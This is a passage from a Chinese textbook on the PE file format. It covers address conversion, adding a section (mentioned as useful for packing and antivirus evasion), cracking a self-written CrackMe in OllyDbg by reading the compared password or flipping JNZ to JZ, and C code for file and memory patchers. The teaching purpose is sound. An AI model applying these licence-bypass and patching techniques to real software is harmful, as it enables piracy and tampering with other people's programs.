 
DWORD CPeParseDlg::GetAddr()
 
{
 
char szAddr[10] = { 0 };
 
DWORD dwAddr = 0;
 
switch ( m_nSelect )
 
{
 
case 1:
 
{
 
GetDlgItemText(IDC_EDIT_VA, szAddr, 10);
 
HexStrToInt(szAddr, &dwAddr);
 
break;
 
}
 
case 2:
 
{
 
GetDlgItemText(IDC_EDIT_RVA, szAddr, 10);
 
HexStrToInt(szAddr, &dwAddr);
 
break;
 
}
 
case 3:
 
{
 
GetDlgItemText(IDC_EDIT_FILEOFFSET, szAddr, 10);
 
HexStrToInt(szAddr, &dwAddr);
 
break;
 
}
 
}
 
return dwAddr;
 
}
 
获取该地址所属的第几个节的代码：
 
int CPeParseDlg::GetAddrInSecNum(DWORD dwAddr)
 
{
 
int nInNum = 0;
 
int nSecNum = m_pNtHdr->FileHeader.NumberOfSections;
 
switch ( m_nSelect )
 
{
 
case 1:
 
{
 
DWORD dwImageBase = m_pNtHdr->OptionalHeader.ImageBase;
 
for ( nInNum = 0; nInNum < nSecNum; nInNum ++ )
 
{
 
if ( dwAddr >= dwImageBase + m_pSecHdr[nInNum].VirtualAddress
 
&& dwAddr <= dwImageBase + m_pSecHdr[nInNum].VirtualAddress + m_
 
pSecHdr[nInNum].Misc.VirtualSize)
 
{
 
return nInNum;
 
}
 
}
 
break;
 
}
 
case 2:
 
{
 
for ( nInNum = 0; nInNum < nSecNum; nInNum ++ )
 
{
 
if ( dwAddr >= m_pSecHdr[nInNum].VirtualAddress
 
&& dwAddr <= m_pSecHdr[nInNum].VirtualAddress + m_pSecHdr[nInNum].
 
Misc.VirtualSize)
 
{
 
return nInNum;
 
}
 
}
 
break;
 
}
 
case 3:
 
{
 
for ( nInNum = 0; nInNum < nSecNum; nInNum ++ )
 
{
 
if ( dwAddr >= m_pSecHdr[nInNum].PointerToRawData
 
&& dwAddr <= m_pSecHdr[nInNum].PointerToRawData + m_pSecHdr[nInNum].
 
SizeOfRawData)
 
{
 
return nInNum;
 
}
 
}
 
break;
 
}
 
}
 
return -1;
 
}
 
计算其他地址的代码：
 
VOID CPeParseDlg::CalcAddr(int nInNum, DWORD dwAddr)
 
{
 
DWORD dwVa = 0;
 
DWORD dwRva = 0;
 
DWORD dwFileOffset = 0;
 
switch ( m_nSelect )
 
{
 
case 1:
 
{
 
dwVa = dwAddr;
 
dwRva = dwVa - m_pNtHdr->OptionalHeader.ImageBase;
 
dwFileOffset = m_pSecHdr[nInNum].PointerToRawData + (dwRva - m_pSecHdr
 
[nInNum].VirtualAddress);
 
break;
 
}
 
case 2:
 
{
 
dwVa = dwAddr + m_pNtHdr->OptionalHeader.ImageBase;
 
dwRva = dwAddr;
 
dwFileOffset = m_pSecHdr[nInNum].PointerToRawData + (dwRva - m_pSecHdr
 
[nInNum].VirtualAddress);
 
break;
 
}
 
case 3:
 
{
 
dwFileOffset = dwAddr;
 
dwRva = m_pSecHdr[nInNum].VirtualAddress + (dwFileOffset - m_pSecHdr[nInNum].
 
PointerToRawData);
 
dwVa = dwRva + m_pNtHdr->OptionalHeader.ImageBase;
 
break;
 
}
 
}
 
SetDlgItemText(IDC_EDIT_SECTION, (const char *)m_pSecHdr[nInNum].Name);
 
CString str;
 
str.Format("%08X", dwVa);
 
SetDlgItemText(IDC_EDIT_VA, str);
 
str.Format("%08X", dwRva);
 
SetDlgItemText(IDC_EDIT_RVA, str);
 
str.Format("%08X", dwFileOffset);
 
SetDlgItemText(IDC_EDIT_FILEOFFSET, str);
 
}
 
代码都不复杂，关键就是在CalcAddr()中3种地址的转换。如果没能理解代码，那么请参考前面手动转换3种地址的方法。这里就不进行介绍了。
 

 
4.6 添加节区
 
添加节区在很多场合都会用到，比如在加壳中，在免杀中都会经常使用到对 PE 文件添加一个节区。添加一个节区的方法有4个步骤，第1个步骤是在节表的最后面添加一个IMAGE_SECTION_HEADER，第2个步骤是更新 IMAGE_FILE_HEADER 中 的NumberOfSections字段，第3步是更新IMAGE_OPTIONAL_HEADER中的SizeOfImage字段，最后一步则是添加文件的数据。当然了，前3个步骤是没有先后顺序的，但是最后一个步骤一定要明确如何改变。
 

 
4.6.1 手动添加一个节区
 
先来进行一次手动添加节区的操作，手动添加节区的过程是一个让我们熟悉上述步骤的过程。在网上有很多现成的添加节区的工具，我们自己编写工具的目的是掌握和了解其实现方法，锻炼我们的编程能力；手动添加节区是为了巩固前面的知识，熟悉添加节区的步骤。
 
接下来还是使用前面的那个测试程序。使用 C32ASM 用十六进制编辑方式打开这个程序，并定位到其节表处，如图4-35所示。
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  图4-35 节表位置信息 

 
从图中可以看到该PE文件有3个节表，直接看十六进制信息可能很不方便，为了直观方便地查看节表中IMAGE_SECTION_HEADER的信息，那么使用LordPE来进行查看，如图4-36所示。
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  图4-36 使用LordPE查看该节表信息 

 
用LordPE工具查看的确直观多了。对照LordPE显示的节表信息来添加一个节区。回顾一下IMAGE_SECTION_HEADER结构体的定义，定义如下：
 
typedef struct _IMAGE_SECTION_HEADER {
 
BYTE　Name[IMAGE_SIZEOF_SHORT_NAME];
 
union {
 
DWORD　PhysicalAddress;
 
DWORD　VirtualSize;
 
} Misc;
 
DWORD　VirtualAddress;
 
DWORD　SizeOfRawData;
 
DWORD　PointerToRawData;
 
DWORD　PointerToRelocations;
 
DWORD　PointerToLinenumbers;
 
WORD　NumberOfRelocations;
 
WORD　NumberOfLinenumbers;
 
DWORD　Characteristics;
 
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
 
IMAGE_SECTION_HEADER结构体的成员很多，但是真正要使用的就只有6个，分别是Name、VirtualSize、VritualAddress、SizeOfRawData、PointerToRawData和Characteristics。这6项刚好与LordPE显示的6项相同。其实IMAGE_SECTION_HEADER结构体中其余的成员几乎不被使用。下面分别来介绍如何添加这些内容。
 
IMAGE_SECTION_HEADER的长度为40个字节，是十六进制的0x28。在C32ASM中占用2行半的内容，我们一次把这两行半的内容手动添加进去。回到C32ASM中，在最后一个节表的位置处开始添加内容，首先把光标放到右边的ASCII字符中，输入“.test”，如图4-37所示。
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  图4-37 添加“.test”节名 

 
接下来在 00000240 位置处添加节的大小，该大小直接是对齐后的大小即可。由于文件对齐是0x1000字节，也就是4096个字节。那么就采用最小值即可，使该值为0x1000。不知道大家是否还记得前面提到的字节顺序的问题，在C32ASM中添加时，正确的添加应当是“00100000”，以后添加时也要注意字节顺序，在添加后面几个成员时，不再提示注意字节顺序，大家应时刻清楚这点。在添加该值时，应当将光标定位在十六进制编辑处，而不是刚才所在的ASCII字符处。顺便要把VirutalAddress也添加上，VirtualAddress的值是前一个节区的起始位置加上上一个节对齐后的长度的值，上个节区的起始位置为0x5000，上个节区对齐后的长度为0x1000，因此新节区的起始位置为0x6000。添加VirtualSize和VirtualAddress后如图4-38所示。
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  图4-38 添加VirtualSize和VirtualAddress 

 
接下来的两个字段分别是SizeOfRawData和PointerToRawData，这两个字段的添加方法类似前面两个字段的添加方法，这里就不细说了，分别要添加“0x6000”和“0x1000”两个值，如图4-39所示。
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  图4-39 添加SizeOfRawData和PointerToRawData 

 
PointerToRawData后面的12个字节都可以为0，只要修改最后4个字节的内容，也就是Characteristics的值即可，这个值直接使用上个节区的值即可，实际添加时应根据所要节的属性给值，这里为了省事而直接使用上个节区的属性，如图4-40所示。
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  图4-40 添加Characteristics 

 
整个节表需要添加的地方就添加完成了，接下来需要修改该 PE 文件的节区数量了，当前节区数量是3，这里要修改为4。虽然可以通过LordPE等修改工具完成，但是这里仍然使用手动修改。对于修改的位置请大家自行定位找到，修改如图4-41所示。
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  图4-41 修改节区个数为4 

 
除了节区数量以外还要修改文件映像的大小，也就是前面提到的 SizeOfImage 的值。由于新添加了节区，那么应该把该节区的大小加上SizeOfImage的大小，即为新的SizeOfImage的大小。现在的SizeOfImage的大小为0x6000，加上新添加节区的大小为0x7000。SizeOfImage的位置请自行查找，修改如图4-42所示。
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  图4-42 修改SizeOfImage的值为0x7000 

 
对于修改 PE 结构字段的内容都已经做完了，最后一步就是要添加真实的数据了，由于这个节区不使用，因此填充0值就可以了，文件的起始位置为0x6000，长度为0x1000。把光标移到文件的末尾，单击菜单“编辑”->“插入数据”命令，在插入数据大小文本框中输入十进制的4096，也就是十六进制的0x1000，如图4-43所示。
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  图4-43 “插入数据”对话框的设置 

 
单击“确定”按钮，可以看到在刚才的光标处插入了很多0值，这样我们的工作也完成了，单击“保存”按钮进行保存，提示是否备份，选择“是”。然后用LordPE查看一下添加节区的情况，如图4-44所示。
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  图4-44 添加新的节区信息 

 
对比一下前后两个文件的大小，如图4-45所示。
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  图4-45 添加节区前后文件的大小 

 
从图4-45中可以看出，添加节区后的文件比原来的文件大了4KB，也就是添加了4096个字节的0值的原因。也许最关心的不是大小问题，而在于软件添加了大小后是否真的可以运行，我们试运行一下，是可以运行的。
 
上面的整个过程就是手动添加一个新节区的全部过程，除了特有的几个步骤以外，就是要注意新节区的内存起始位置和文件起始位置的值。相信通过上面手动添加节区对此已经非常熟悉了。那么下面就开始通过编程来完成添加节区的任务吧。
 

 
4.6.2 通过编程添加节区
 
通过编程添加一个新的节区无非就是文件相关的操作，只是多了一个对 PE 文件的解析而已。添加节区的步骤和手动添加节区的步骤是一样的，只要一步一步按照上面的步骤写代码就可以了。在开始写代码前，首先修改一下FileCreate()这个函数中的部分代码，修改代码如下：
 
m_hMap = CreateFileMapping(m_hFile, NULL, PAGE_READWRITE /*| SEC_IMAGE*/, 0, 0, 0);
 
if ( m_hMap == NULL )
 
{
 
CloseHandle(m_hFile);
 
return bRet;
 
}
 
在这里，要把SEC_IMAGE这个值注释掉，因为要修改内存文件映射，有这个值会使添加节区失败，因此要将其注释掉或者删除掉。
 
程序的界面如图4-46所示。
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  图4-46 添加节区界面 

 
首先来编写“添加”按钮响应事件，代码如下：
 
void CPeParseDlg::OnBtnAddSection()
 
{
 
// TODO: Add your control notification handler code here
 
// 节名
 
char szSecName[8] = { 0 };
 
// 节大小
 
int　nSecSize = 0;
 
GetDlgItemText(IDC_EDIT_SECNAME, szSecName, 8);
 
nSecSize = GetDlgItemInt(IDC_EDIT_SEC_SIZE, FALSE, TRUE);
 
AddSec(szSecName, nSecSize);
 
}
 
按钮事件中最关键的地方是AddSec()这个函数，该函数有两个参数，分别是添加节的名称与添加节的大小。这个大小无论输入多大，最后都会按照对齐方式进行向上对齐。我们看一下AddSec()函数的代码。
 
VOID CPeParseDlg::AddSec(char *szSecName, int nSecSize)
 
{
 
int nSecNum = m_pNtHdr->FileHeader.NumberOfSections;
 
DWORD dwFileAlignment = m_pNtHdr->OptionalHeader.FileAlignment;
 
DWORD dwSecAlignment = m_pNtHdr->OptionalHeader.SectionAlignment;
 
PIMAGE_SECTION_HEADER pTmpSec = m_pSecHdr + nSecNum;
 
// 拷贝节名
 
strncpy((char *)pTmpSec->Name, szSecName, 7);
 
// 节的内存大小
 
pTmpSec->Misc.VirtualSize = AlignSize(nSecSize, dwSecAlignment);
 
// 节的内存起始位置
 
pTmpSec->VirtualAddress = m_pSecHdr[nSecNum - 1].VirtualAddress + AlignSize(m_
 
pSecHdr[nSecNum - 1].Misc.VirtualSize, dwSecAlignment);
 
// 节的文件大小
 
pTmpSec->SizeOfRawData = AlignSize(nSecSize, dwFileAlignment);
 
// 节的文件起始位置
 
pTmpSec->PointerToRawData = m_pSecHdr[nSecNum - 1].PointerToRawData + AlignSize(m_
 
pSecHdr[nSecNum - 1].SizeOfRawData, dwSecAlignment);
 
// 修正节数量
 
m_pNtHdr->FileHeader.NumberOfSections ++;
 
// 修正映像大小
 
m_pNtHdr->OptionalHeader.SizeOfImage += pTmpSec->Misc.VirtualSize;
 
FlushViewOfFile(m_lpBase, 0);
 
// 添加节数据
 
AddSecData(pTmpSec->SizeOfRawData);
 
EnumSections();
 
}
 
代码中每一步都按照相应的步骤来完成，其中用到了两个函数分别是 AlignSize()和AddSecData()。前者是用来进行对齐的，后者是在文件中添加实际的数据内容的。这两个函数非常简单，代码如下所示：
 
DWORD CPeParseDlg::AlignSize(int nSecSize, DWORD Alignment)
 
{
 
int nSize = nSecSize;
 
if ( nSize % Alignment != 0 )
 
{
 
nSecSize = (nSize / Alignment + 1) * Alignment;
 
}
 
return nSecSize;
 
}
 
VOID CPeParseDlg::AddSecData(int nSecSize)
 
{
 
PBYTE pByte = NULL;
 
pByte = (PBYTE)malloc(nSecSize);
 
ZeroMemory(pByte, nSecSize);
 
DWORD dwNum = 0;
 
SetFilePointer(m_hFile, 0, 0, FILE_END);
 
WriteFile(m_hFile, pByte, nSecSize, &dwNum, NULL);
 
FlushFileBuffers(m_hFile);
 
free(pByte);
 
}
 
整个添加节区的代码就完成了，仍然使用最开始的那个简单程序进行测试，看是否可以添加一个节区，如图4-47所示。
 
从图4-47中可以看出，添加节区是成功的。试着运行一下添加节区后的文件，可以正常运行，而且添加节区的文件比原文件大了4KB，和前面手动添加的效果是一样的。
 
至此，对PE文件结构的介绍就结束了。其实PE文件结构还有很多比较重要的内容，但是这里只介绍了一些基础的知识，至于其他的内容请大家自行学习。PE结构查看器最关键的是兼容性，PE结构是可以进行各种变形的，常规的PE结构也许比较好解析，但是经过变形的PE结构解析起来就可能会出错，因此要不断地尝试去解析不同的PE文件结构，PE查看器兼容性才会不断地完善。前面介绍了通过C32ASM进行手动分析PE文件结构，这种方法是有助于完善 PE 查看器的。这就好比数据恢复一样，数据恢复高手绝对不是通过数据恢复工具来进行的，虽然高手们也在使用工具，但是如果遇到较为复杂的情况，数据恢复工具可能就会显得无力，那么手动分析分区格式将是唯一的方法。
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  图4-47 添加节区 

 

 
4.7 破解基础知识及调试API函数的应用
 
在介绍完PE文件结构以后，接下来要介绍调试API。调试API是系统留给用户进行程序调试的接口，其功能非常强大。在介绍调试API以前，先来介绍一下OD的使用。OD是强大的用来调试应用程序的工具。在第1章中对其进行了简单的介绍，在本章中将通过实例来演示一下OD的强大功能。同样，为了后续的部分较容易理解，这里我们自己写一个简单程序，用OD来进行调试。除了介绍调试API以外，还会介绍一些简单的与破解相关的内容。当然，破解是一个技术的积累，也是要靠多方面技术的综合应用，希望这些简单的基础知识能给大家起到一个抛砖引玉的作用。
 

 
4.7.1 CrackMe程序
 
下面将写一个CrackMe程序，CrackMe的意思就是“来破解我”的意思。这里提到的破解是针对软件方面来说的，不是网络中的破解。对于软件的破解来说，主要是取消软件中的各种限制，比如时间限制、序列号限制……对于破解来说，无疑与逆向工程有着密切的关系，想要突破任何一种限制都要去了解该种限制的保护方式或保护机制。
 
破解别人的软件属于侵权行为，尽管有很多人在做这样的事情，但是大多人是为了进行学习研究而非用于牟取商业利益。但是，为了尊重他人的劳动成果，也为了避免给自己带来不必要的麻烦，大家尽可能找一些CrackMe来进行学习和研究。
 
下面来写一个非常简单的CrackMe程序供我们学习研究，并进行“破解”。自己写CrackMe并自己破解，虽然这样省去了很多问题的思考，但是对于初学者来说这仍然是一件非常有乐趣的事情。
 
这个程序使用MFC来编写，界面如图4-48所示。
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  图4-48 自己编写的CrackMe程序 

 
从图4-48中可以看出，整个程序只有两个可以输入内容的编辑框，和两个可以单击的按钮，除此之外什么都没有了，更不会有什么提示。基本上这就是一个CrackMe的样子。不过有的人习惯在CrackMe中添加一个美女的照片，让界面显得美观诱惑，有的人喜欢给CrackMe加层壳来增加破解的难度，不过这些对于我们都不重要，关键是要进行学习。在界面上输入一个账号和一个密码，当单击“确定”按钮后，该按钮会执行以下代码：
 
void CEasyCrackMeDlg::OnBtnReg()
 
{
 
// TODO: Add your control notification handler code here
 
char szUser[MAXBYTE] = { 0 };
 
char szPassword[MAXBYTE] = { 0 };
 
char szTmpPassword[MAXBYTE] = { 0 };
 
// 获取输入的账号和密码
 
GetDlgItemText(IDC_EDIT_USER, szUser, MAXBYTE);
 
GetDlgItemText(IDC_EDIT_PASSWORD, szPassword, MAXBYTE);
 
// 判断账号是否为空
 
if ( strlen(szUser) == 0 )
 
{
 
return ;
 
}
 
// 判断密码是否为空
 
if ( strlen(szPassword) == 0 )
 
{
 
return ;
 
}
 
// 判断账号长度是否小于7
 
if ( strlen(szUser) < 7 )
 
{
 
return ;
 
}
 
// 根据账号生成密码
 
for ( int i = 0; i < strlen(szUser); i ++ )
 
{
 
if ( szUser[i] == 'Z'
 
|| szUser[i] == 'z'
 
|| szUser[i] == '9' )
 
{
 
szTmpPassword[i] = szUser[i];
 
}
 
else
 
{
 
szTmpPassword[i] = szUser[i] + 1;
 
}
 
}
 
// 把生成的密码和输入的密码进行匹配
 
if ( strcmp(szTmpPassword, szPassword) == 0 )
 
{
 
MessageBox("密码正确");
 
}
 
else
 
{
 
MessageBox("密码错误");
 
}
 
}
 
整个代码非常简单。这段代码是通过输入的账号来生成密码的，而不是有固定的账号和固定的密码进行一一对应的。生成密码的算法非常简单，把输入的账号的每一个ASCII码进行加1运算，但是有几个ASCII值除外。如果该ASCII码是字符大写“Z”、小写“z”或者是数字“9”，那么，就不会进行加1运算。除了这点外，要求账号的长度必须大于7位，这也算是一个小小的要求了。
 
测试一下。输入一个小于7位的账号，再随便输入一个密码，单击“确定”按钮，这时程序不会有任何反应。那么，这次输入一个超过7位的账号，单击“确定”按钮来试试，如图4-49所示。
 

 [image: figure_0124_0109]

 

  图4-49 CrackMe提示错误 

 
CrackMe提示“密码错误”。当然了，密码是根据账号算出来的，而且跟账号的长度是相等的。那么，该如何获得这个CrackMe的密码呢？如果这个CrackMe不是我们写的，那我们该怎么办？接下来的工作，就交给OD来完成吧。
 

 
4.7.2 用OD破解CrackMe
 
对于破解来说，总是要找到一个突破点的。而对于这个简单的CrackMe来说，突破点是非常多的。下面会以不同的方式来开始这次破解之旅，不需要有太多的汇编知识，毕竟这里是基础性的知识，要想深入学习破解，对破解有所了解的话，那么学习和掌握汇编是必修课。
 
1．破解方法一
 
现在用OD打开所编写的CrackMe，如图4-50所示。
 
大家还记得 OD 中各个窗口的作用吧？如果忘记请参考第 1 章的内容。用 OD 打开CrackMe以后会看到很多汇编代码，这部分内容大家可以通过学习汇编语言和逆向知识来进行学习。在这里会介绍一些基本的破解技巧，通过这些技巧同样可以完成破解工作。
 

 [image: figure_0125_0110]

 

  图4-50 用OD打开CrackMe后的界面 

 
首先来梳理一下思路，梳理思路的时候可以参考上面写的代码来进行梳理。输入了“账号”及“密码”后，首先程序会从编辑框处获得“账号”的字符串及“密码”的字符串，然后进行一系列的比较验证，再通过“账号”来计算出正确的“密码”，最后来匹配正确的“密码”与输入的“密码”是否一致，根据匹配结果，给出相应的提示。
 
上面是编写代码的流程和思路，我们也可根据这个思路合理地设置断点（设置断点也叫下断点）。“断点”就是产生中断的位置。通过下断点，可以让程序中断在需要调试或分析的地方。下断点在调试中起着非常大的作用，学会在合理的地方下断点也是一个技巧性的知识，合理地下断点有助于对软件进行分析和调试，大家应该学着掌握它。断点的分类很多，有内存断点、硬件断点、INT 3 断点……关于断点的知识，将在稍后的内容中进行介绍，这里就不介绍了。
 
现在就可以选择合适的地方设置断点了。可以在 API 函数上设置断点，比如在GetDlgItemText()行设置断点，也可以选择在strlen()上设置断点，还可以在strcmp()上设置断点，甚至可以在MessageBox()上设置断点。上面的这些API函数都是可以设置断点的，但是对于GetDlgItemText()和MessageBox()这两个API函数来说，需要下断点的时候指定是ANSI版本，还是UNICODE版本。也就是说系统中是没有这两个函数的，根据版本的不同存在系统的函数只有GetDlgItemTextA()、GetDlgItemTextW()、MessageBoxA()和MessageBoxW()这样的函数。通常使用ANSI版本的即可。
 
上面有如此多的API函数可供我们设置断点，那么要选择哪个进行设置呢？最好的选择是strcmp()这个函数，因为在比较函数处肯定会出现正确的“密码”。而在GetDlgItemTextA()和strlen()上设置断点，需要使用F8进行跟踪。如果在MessageBoxA()上设置断点，那么就不容易找到正确的“密码”存放的位置了。所以选择在 strcmp()上设置断点。在“命令”窗口中输入“bp strcmp”，然后按回车键，如图4-51 所示。
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  图4-51 在“命令”窗口设置断点 

 
如何知道断点是否设置成功呢？按下Alt + B组合键打开断点窗口可以查看，如图4-52所示。
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  图4-52 在断点窗口查看所下断点 

 
断点已经设置好了，那么就按 F9 键来运行程序吧。CrackMe 启动了，输入一个长度大于等于7位的“账号”为“testtest”，然后随便输入一个“密码”为“123456”，单击“确定”按钮，OD中断在断点，如图4-53所示。
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  图4-53 OD断下响应了断点 

 
从图4-53中可以看到，OD断在了strcmp这个函数的首地址处，地址为10217570。断在这里如何找到真正的密码呢？其实在提示的地方已经显示出了正确的密码，我们可以看栈窗口。函数参数的传递是依赖于栈的，对于C语言来说，函数的参数是从右往左依次入栈的。对于 strcmp()函数来说，该函数有两个参数，这两个参数分别是要进行比较的字符串。那么在栈窗口中可以看到输入的密码及正确的密码，如图4-54所示。
 

 [image: figure_0127_0114]

 

  图4-54 栈窗口中显示出的两个密码 

 
可以看到，在调用 strcmp()时，传递的两个参数的值分别是“123456”和“uftuuftu”两个字符串。前面的字符串肯定是输入的密码，那么后面的字符串肯定就是正确的密码了。按F9键运行程序，会出现那个错误对话框，提示密码错误。现在关闭OD，直接打开CrackMe，现在仍然用刚才的账号“testtest”，然后输入密码“uftuuftu”，单击“确定”按钮，会提示“密码正确”，如图4-55所示。
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  图4-55 密码正确 

 
这样就完成了破解，这种方法比较简单。只要在 strcmp()函数处设置断点即可。大家可以试着在其他几个API函数处设置断点，然后试着找到正确的注册码。接下来，尝试使用另外的方法来对CrackMe进行破解。
 
2．破解方法二
 
在上一种方法中通过对API函数设置断点找到了正确的密码，现在通过提示字符串来完成破解。在不知道正确密码的情况下输入密码，通常会得到的提示字符串是“密码错误”，只要在程序中寻找该字符串，并且查看是何处使用了该字符串，那么就可以对破解起到提示性的作用。
 
用OD打开CrackMe程序，然后在反汇编界面处单击鼠标右键，在弹出的菜单中依次选择“超级字串参考”->“查找ASCII”命令，会出现“超级字串参考”窗口，如图4-56所示。
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  图4-56 超级字串参考 

 
在“超级字串参考”窗口中可以看到两个非常熟悉的字符串，双击“密码正确”这个字符串，来到004024de地址处，该地址内容如图4-57所示。
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  图4-57 004024DE地址处反汇编代码 

 
从图4-57中可以看到3处比较关键性的内容，第一个是可以看到strcmp()函数，第二个是可以看到字符串“密码正确”，第三个是可以看到字符串“密码”错误。由这3个内容可以让我们联想到这岂不是和C代码基本上是对应的啊。根据strcmp()的比较结果，if……else……会选择不同的流程进行执行。也就是说，只要改变比较的结果，或者更换比较的条件，都可以改变程序的流程。下面主要讲述一下修改比较条件的方法，拿具体的例子来解释一下，在代码中是这么一个情况，代码如下：
 
// 把生成的密码和输入的密码进行匹配
 
if ( strcmp(szTmpPassword, szPassword) == 0 )
 
{
 
MessageBox("密码正确");
 
}
 
else
 
{
 
MessageBox("密码错误");
 
}
 
strcmp()是字符串比较函数，如果两个字符串相等也就是说输入的密码与正确的密码匹配，匹配则执行“密码正确”流程，否则反之。那么如果修改一下比较的条件，也就是说两个密码匹配不成功，使其执行“密码成功”的流程。这样，输入错误的密码，也会提示“密码正确”的提示。在C语言中的修改很简单，只要修改为如下代码就可以：
 
if ( strcmp(szTmpPassword, szPassword) != 0 )
 
但是对于反汇编应该如何做呢？其实非常简单，我们再回过头来看一下图4-57中的那几条反汇编代码。想要修改其判断条件，那么只要修改 004024D8 处的指令代码 JNZ SHORTEasyCrac.004024ED即可，该指令的意思是如果比较结果不为0，则跳转到004024ED处执行。JNZ结果不为0则跳转，只要把JNZ修改为JZ即可，JZ的意思刚好与JNZ相反。修改方法很简单，选中004024D8地址所在的行，按下空格键即可进行编辑，如图4-58所示。
 
单击窗口上的“汇编”按钮，然后按 F9 键运行，随便输入一个长度大于 7 位的账号，再输入一个密码，然后单击“确定”按钮，会提示“密码正确”，如图4-59所示。
 
关掉OD和CrackMe，然后直接运行CrackMe，随便输入账号和密码，单击“确定”按钮后提示密码错误。为什么呢？因为刚才只是在内存中进行了修改，需要对文件进行存盘在以后运行时我们的修改才有效。修改后的存盘方法为：选中修改的反汇编代码（可以多选几行，只要修改的那行被选中即可），然后单击右键，在弹出的菜单中选择“复制到可执行文件”->“选定内容”命令，会出现“文件”对话框，如图4-60所示。
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  图4-58 在OD中修改反汇编代码 
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  图4-59 修改指令后的流程 
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  图4-60 “文件”对话框 

 
在出现的这个对话框中单击鼠标右键，在弹出的菜单中选择“保存文件”命令，然后进行保存。这样我们的修改就存盘了，下次在执行该程序时，随便输入大于7位的账号和密码都会提示“密码正确”了。如果你输入了正确的密码，那么会提示“密码错误”。
 
上面就是两种破解该CrackMe的方法，这两种方法都是极其简单的方法，现在可能已经很不实用了。这里是为了学习，为了提高动手能力，而采用了这两种方法。
 

 
4.8 文件补丁及内存补丁
 

 
4.8.1 文件补丁
 
用OD修改CrackMe是比较容易的，如果脱离OD该如何修改呢？其实在OD中修改了反汇编的指令以后，对应的在文件中修改的是机器码。只要在文件中能定位到指令对应的机器码的位置，那么直接修改机器码就可以了。JNZ对应的机器码指令为0x75，JZ对应的机器码指令为0x74。也就是说，只要在文件中找到这个要修改的位置，用十六进制编辑器把0x75修改为0x74即可。如何能把这个内存中的地址定位到文件地址呢？这就是前面介绍的PE文件结构中把VA转换FileOffset的知识了。
 
具体的手动步骤大家自己尝试，我们直接通过写代码进行修改吧。为了简单起见，这里使用控制台来编写，而且直接对文件进行操作，中间的步骤就省略了，想必有了思路以后对于大家来说已经不是难事了。
 
看一下关于文件补丁的代码：
 
#include <windows.h>
 
#include <stdio.h>
 
int main(int argc, char* argv[])
 
{
 
// VA = 004024D8
 
// FileOffset = 000024D8
 
DWORD dwFileOffset = 0x000024D8;
 
BYTE　bCode = 0;
 
DWORD dwReadNum = 0;
 
// 判断参数
 
if ( argc != 2 )
 
{
 
printf("Please input two argument \r\n");
 
return -1;
 
}
 
// 打开文件
 
HANDLE hFile = CreateFile(argv[1],
 
GENERIC_READ | GENERIC_WRITE,
 
FILE_SHARE_READ,
 
NULL,
 
OPEN_EXISTING,
 
FILE_ATTRIBUTE_NORMAL,
 
NULL);
 
if ( hFile == INVALID_HANDLE_VALUE )
 
{
 
return -1;
 
}
 
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
 
ReadFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
 
// 比较当前位置是否为JNZ
 
if ( bCode != '\x75' )
 
{
 
printf("%02X \r\n", bCode);
 
CloseHandle(hFile);
 
return -1;
 
}
 
// 修改为JZ
 
bCode = '\x74';
 
SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
 
WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
 
printf("Write JZ is Successfully ! \r\n");
 
CloseHandle(hFile);
 
// 运行
 
WinExec(argv[1], SW_SHOW);
 
getchar();
 
return 0;
 
}
 
代码给出了详细的注释，只需要把CrackMe文件拖放到文件补丁上即可，如图4-61所示。
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  图4-61 对CrackMe进行文件补丁 

 
通常，在做文件补丁以前一定要对打算进行修改的位置进行比较，以免产生错误的修改。程序使用的方法是将要修改的部分读出来，看是否与用OD调试时的值相同，如果相同则打补丁。由于这里只是介绍编程知识，针对的是一个CrackMe。如果对某个软件进行了破解，自己做了一个文件补丁发布出去给别人使用，不进行相应的判断就直接进行修改，很有可能导致软件不能使用的情况，因为对外发布以后你不能确认别人所使用的软件的版本等因素。因此，在进行文件补丁时最好判断一下，或者是用CopyFile()对文件进行备份。
 

 
4.8.2 内存补丁
 
相对于文件补丁来说，还有一种补丁是内存补丁。这种补丁是把程序加载到内存中以后对其进行修改，也就是说本身是不对文件进行修改的。要将CrackMe载入内存中，载入内存可以调用 CreateProcess()这个 API 函数来完成，这个函数参数众多，功能强大。使用CreateProcess()创建一个子进程，并且在创建的过程中将该子进程暂停，那么就可以安全地使用WriteProcessMemory()函数来对CrackMe进行修改了。整个过程也比较简单，下面直接来阅读源代码。
 
#include <Windows.h>
 
#include <stdio.h>
 
int main(int argc, char* argv[])
 
{
 
// VA = 004024D8
 
DWORD dwVAddress = 0x004024D8;
 
BYTE　bCode = 0;
 
DWORD dwReadNum = 0;
 
// 判断参数数量
 
if ( argc != 2 )
 
{
 
printf("Please input two argument \r\n");
 
return -1;
 
}
 
STARTUPINFO si = { 0 };
 
si.cb = sizeof(STARTUPINFO);
 
si.wShowWindow = SW_SHOW;
 
si.dwFlags = STARTF_USESHOWWINDOW;
 
PROCESS_INFORMATION pi = { 0 };
 
BOOL bRet = CreateProcess(argv[1],
 
NULL,
 
NULL,
 
NULL,
 
FALSE,
 
CREATE_SUSPENDED,　// 将子进程暂停
 
NULL,
 
NULL,
 
&si,
 
&pi);
 
if ( bRet == FALSE )
 
{
 
printf("CreateProcess Error ! \r\n");
 
return -1;
 
}
 
ReadProcessMemory(pi.hProcess,
 
(LPVOID)dwVAddress,
 
(LPVOID)&bCode,
 
sizeof(BYTE),
 
&dwReadNum);
 
// 判断是否为JNZ
 
if ( bCode != '\x75' )
 
{
 
printf("%02X \r\n", bCode);
 
CloseHandle(pi.hThread);
 
CloseHandle(pi.hProcess);
 
return -1;
 
}
 
// 将JNZ修改为JZ
 
bCode = '\x74';
 
WriteProcessMemory(pi.hProcess,
 
(LPVOID)dwVAddress,
 
(LPVOID)&bCode,
 
sizeof(BYTE),
 
&dwReadNum);
 
ResumeThread(pi.hThread);
 
CloseHandle(pi.hThread);
 
CloseHandle(pi.hProcess);
 
printf("Write JZ is Successfully ! \r\n");
 
getchar();
 
return 0;
 
}
 
代码中的注释也比较详细，代码的关键是要进行比较，否则会造成程序的运行崩溃。在进行内存补丁前，需要将线程暂停，这样做的好处是有些情况下可能没有机会进行补丁就已经执行完需要打补丁的地方了。当打完补丁以后，再恢复线程继续运行就可以了。
 
